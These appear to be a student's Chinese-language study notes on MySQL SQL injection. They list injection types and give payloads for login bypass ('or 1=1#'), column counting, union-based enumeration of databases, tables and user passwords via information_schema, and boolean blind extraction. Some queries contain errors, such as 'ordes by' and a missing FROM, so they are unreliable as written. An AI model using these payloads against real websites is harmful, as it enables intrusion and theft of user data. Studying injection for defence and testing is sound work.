- 常见SQL注入类型有:
- 按变量类型
- 字符型
- 数字型
- 按从服务器接收到的响应
- 显错注入(没有关闭错误显示,会显示mysql error)
- 盲注(只会告诉你sql语句的执行结果true or false,不会将sql语句执行结果展示给你)
- 基于时间
- 基于bool
- 堆叠查询注入
- 按变量类型
- 常用语句
- 先锋部队
- or 1=1#
- ‘ or 1=1#
- “ or 1=1#
- ) or 1=1#
- ‘)or 1=1#
- “) or 1=1#
- “))or 1=1#(#可以用-+,--来代替)
- 查询信息
- 利用select语句来获取信息的前提便是得知道数据库的字段数以及哪个字段是可以输出的
- 判断字段数
- ' ordes by a# (测试时通过不断改变a的数值并结合页面的变化来达到判断字段数的目的)
- 例如:' ordes by 3#此时页面回显正常,直到 ' ordes by 4#此时页面回显异常。那么该数据库的字段数就为3
- 查系统数据库名
- select null,null,group_concat(schema_name) from information_schema.schemata (它的用法我还是有点一知半解的)
- 查当前数据库名
- select null,null,...,database()
- 查表
- select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
- select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1
- 查列
- select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
- 查内容
- select null,group_concat(username,password) from users
- (在已知表名情况下对列username,password进行查看)
- 先锋部队
- 注入类型
- 按变量
- 字符
- id=1' union select database()
- id=1" union select database()
- id=1') union select database()
- id=1") union select database()
- 数值
- id=1 union select database()
- 字符
- 按服务器收到的响应
- 显错注入
- 与按变量类型类似
- 盲注
- 基于bool
- left(database(),1)>’s’ //left()函数left(a,b)从左侧截取 a 的前 b 位
- 基于bool
- 显错注入
- 按变量
- ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 –+ //substr()函数,ascii()函将某个字符转换为 ascii 值;substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度;ascii(substr((select database()),1,1))=98(改变第一个1和98的值相当于将名字一个个和字母比较,从而得到完整名字)
- ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDERBY id LIMIT 0,1),1,1))>98%23 //ORD()函数同 ascii(),将字符转为 ascii 值;mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
- 正则注入(还未正式对其开展学习,只是知道有这个。http://www.cnblogs.com/lcamry/articles/5717442.html)
- 基于时间
- 堆叠注入
- 在对MySQL数据库版本在5.0以上的一般可以根据它所存在的一个用于储存数据库信息的信息数据库information_schema,其中保存着
- 如数据库名,数据库的表,表栏的数据类型与访问权限等我们所需的有效信息。
-
information_schema
系统数据库,记录当前数据库,表,列,用户权限等信息
schemata
储存MySQL所有数据库的基本信息,包括数据库名,编码类型路径等
tables
储存MySQL中的表信息,包括这个标识基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最新更新时间等
columns
储存MySQL表中的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几行,列的数据类型,权限,注释等